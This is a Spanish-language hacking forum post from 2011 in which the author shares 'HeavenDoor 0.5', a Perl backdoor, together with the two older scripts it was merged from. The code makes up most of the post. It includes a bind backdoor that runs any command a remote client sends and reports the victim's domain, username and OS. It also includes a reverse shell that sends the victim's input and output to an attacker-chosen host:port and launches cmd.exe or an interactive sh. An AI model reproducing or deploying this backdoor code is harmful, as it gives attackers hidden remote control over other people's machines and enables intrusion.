elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] HeavenDoor 0.5
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] HeavenDoor 0.5  (Leído 1,238 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] HeavenDoor 0.5
« en: 1 Diciembre 2011, 22:13 pm »

La nueva version de este backdoor que hice hace tiempo

Código
  1. #!usr/bin/perl
  2. #HeavenDoor 0.5
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. if ($ARGV[0] eq "-reverse") {
  9. if ($ARGV[1] =~/(.*):(.*)/) {
  10. my $ip = $1;
  11. my $port = $2;
  12. conectar($ip,$port);
  13. tipo();
  14. }
  15. }
  16. elsif ($ARGV[0] eq "-backdoor") {
  17. listar($ARGV[1]);
  18. } else {
  19. print "\n[+] Examples : $0 -backdoor 666 / -reverse localhost:666\n";
  20. }
  21.  
  22. sub listar {
  23. $backdoor = IO::Socket::INET->new(
  24. Proto     => 'tcp',
  25. LocalPort => $_[0],
  26. Listen    => SOMAXC,
  27. Reuse     => 1);
  28.  
  29. print "[*] Heaven_Door Online\n[*] Port : $_[0]\n[*] PID : ".$$."\n\n";
  30.  
  31. while ($jesus = $backdoor->accept()) {
  32. $jesus->autoflush(1);
  33. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  34. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  35. &extras;
  36. $dir = getcwd();
  37. print $jesus $dir.">>";
  38. while (<$jesus>) {
  39. my $yeah = qx($_);
  40. print $jesus "\n\n".$yeah."\n\n";
  41. print $jesus $dir.">>";
  42. }
  43. }
  44.  
  45. sub extras {
  46.  
  47. if ($^O =~//ig) {
  48. use Win32;
  49. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  50. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  51. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  52. } else {
  53. $s =  qx("uname -a");
  54. print $jesus "--==System Info==--\n\n".$s;
  55. }
  56. }
  57. }
  58.  
  59. sub conectar {
  60. print "[+] Listening\n";
  61. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  62. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  63. open (STDIN,">&REVERSE");
  64. open (STDOUT,">&REVERSE");
  65. open (STDERR,">&REVERSE");
  66. }
  67.  
  68. sub tipo {
  69. print "\n[*] Reverse Shell Starting...\n\n";
  70. if ($^O =~/Win32/ig) {
  71. infowin();
  72. system("cmd.exe");
  73. } else {
  74. infolinux();
  75. system("export TERM=xterm;exec sh -i");
  76. }
  77. }
  78.  
  79. sub infowin {
  80. use Win32;
  81. print "[+] Domain Name : ".Win32::DomainName()."\n";
  82. print "[+] OS Version : ".Win32::GetOSName()."\n";
  83. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  84. }
  85.  
  86. sub infolinux {
  87. print "[+] System information\n\n";
  88. system("uname -a");
  89. print "\n\n";
  90. }
  91.  
  92. #The End ?
  93.  

Esta nueva version surgio de la mezcla de estos dos codigos que habia hecho

heaven_door.pl

Código
  1. #!usr/bin/perl
  2. #Heaven_Door is a backdoor in Perl
  3. #Coded By Doddy Hackman
  4.  
  5. use IO::Socket::INET;
  6. use Net::hostent;
  7. use Cwd;
  8. use Win32;
  9.  
  10. $backdoor = IO::Socket::INET->new(
  11. Proto     => 'tcp',
  12. LocalPort => '25256',
  13. Listen    => SOMAXC,
  14. Reuse     => 1);
  15.  
  16.  
  17.  
  18. print "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  19.  
  20.  
  21. while ($jesus = $backdoor->accept()) {
  22. $jesus->autoflush(1);
  23. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  24. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  25. &extras;
  26. $dir = getcwd();
  27. print $jesus $dir.">>";
  28. while (<$jesus>) {
  29. my $yeah = qx($_);
  30. print $jesus "\n\n".$yeah."\n\n";
  31. print $jesus $dir.">>";
  32. }
  33. }
  34.  
  35. sub extras {
  36.  
  37. if ($^O =~//ig) {
  38. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  39. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  40. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  41. } else {
  42. $s =  qx("uname -a");
  43. print $jesus "--==System Info==--\n\n".$s;
  44. }
  45. }
  46.  
  47.  

reverse_shell.pl

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("export TERM=xterm;exec sh -i");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. print "\n\n";
  50. }
  51.  
  52. #The End
  53.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Scripting
nobo 0 3,197 Último mensaje 22 Febrero 2005, 07:49 am
por nobo
Perl
Scripting
zhynar_X 2 2,226 Último mensaje 12 Enero 2008, 04:36 am
por GroK
-=PERL=-
Scripting
D4RIO 1 5,714 Último mensaje 25 Febrero 2008, 17:27 pm
por D4RIO
MSN Perl y PHP
Scripting
isseu 0 2,674 Último mensaje 30 Diciembre 2008, 14:36 pm
por isseu
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,836 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines